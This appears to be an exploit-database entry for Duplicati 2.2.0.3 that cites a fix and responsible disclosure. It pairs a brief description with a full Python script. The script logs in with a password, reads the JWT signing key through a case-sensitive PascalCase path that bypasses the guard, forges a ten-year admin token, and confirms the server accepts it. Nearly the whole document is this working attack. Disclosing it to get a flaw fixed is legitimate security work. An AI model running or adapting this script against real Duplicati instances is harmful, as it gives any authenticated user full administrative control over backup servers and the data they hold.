# Exploit Title: Duplicati 2.2.0.3 - JWT Signing Key Leak
Bypass leading to Token Forgery
# Date: 2026-06-23
# Exploit Author: Gabriel Rodrigues TEXUGO from HAKAI
# Vendor Homepage: https://www.duplicati.com
# Software Link: https://github.com/duplicati/duplicati
# Version: <= 2.2.0.3 (commit 6ad921166 and earlier)
# Tested on: Duplicati 2.2.0.3 (Docker) + Duplicati master branch
# CVE: Pending (researcher assigned)
# References:
# - https://github.com/duplicati/duplicati/pull/6787 (fix)
# - Responsible disclosure to maintainer

Description:
Duplicati exposes the JWT signing key through a case-sensitive guard bypass
in the settings endpoint. A GET request to /api/v1/serversetting/JWTConfig
(PascalCase) bypasses the guard check for "jwt-config", allowing any
authenticated user to retrieve the secret. With the extracted SigningKey,
Authority and Audience, an attacker can forge a long-lived admin token that
grants full administrative access to the application.
import json, sys, time, requests, jwt

PROXIES = None
if "--proxy" in sys.argv:
    proxy = sys.argv[sys.argv.index("--proxy") + 1]
    PROXIES = {"http": proxy, "https": proxy}
    requests.packages.urllib3.disable_warnings()


def login(url, password):
    r = requests.post(f"{url}/api/v1/auth/login", json={"Password": password, "RememberMe": False}, proxies=PROXIES, verify=not PROXIES)
    r.raise_for_status()
    return r.json()["AccessToken"]


def get_setting(url, token, key):
    r = requests.get(f"{url}/api/v1/serversetting/{key}", headers={"Authorization": f"Bearer {token}"}, proxies=PROXIES, verify=not PROXIES)
    return r.status_code, r.text


def forge_token(jwt_config):
    now = int(time.time())
    return jwt.encode({
        "typ": "AccessToken",
        "sid": "web-api",
        "fam": "temporary",
        "nbf": now,
        "exp": now + 10 * 365 * 86400,
        "iss": jwt_config["Authority"],
        "aud": jwt_config["Audience"],
    }, jwt_config["SigningKey"], algorithm="HS256")


def main():
    url, password = sys.argv[1], sys.argv[2]
    token = login(url, password)

    status, _ = get_setting(url, token, "jwt-config")
    print(f"GET /serversetting/jwt-config  -> {status} (blocked by guard)")

    status, body = get_setting(url, token, "JWTConfig")
    print(f"GET /serversetting/JWTConfig   -> {status} (guard bypassed)")

    jwt_config = json.loads(body)
    if isinstance(jwt_config, str):
        jwt_config = json.loads(jwt_config)

    print(f"  SigningKey: {jwt_config['SigningKey']}")
    print(f"  Authority:  {jwt_config['Authority']}")
    print(f"  Audience:   {jwt_config['Audience']}")

    forged = forge_token(jwt_config)
    print(f"\nForged token: {forged}")

    status, _ = get_setting(url, forged, "AllowedHostnames")
    print(f"Verify forged token -> {status}")

    if status == 200:
        print("RESULT: Forged token accepted, full admin access achieved")


if __name__ == "__main__":
    main()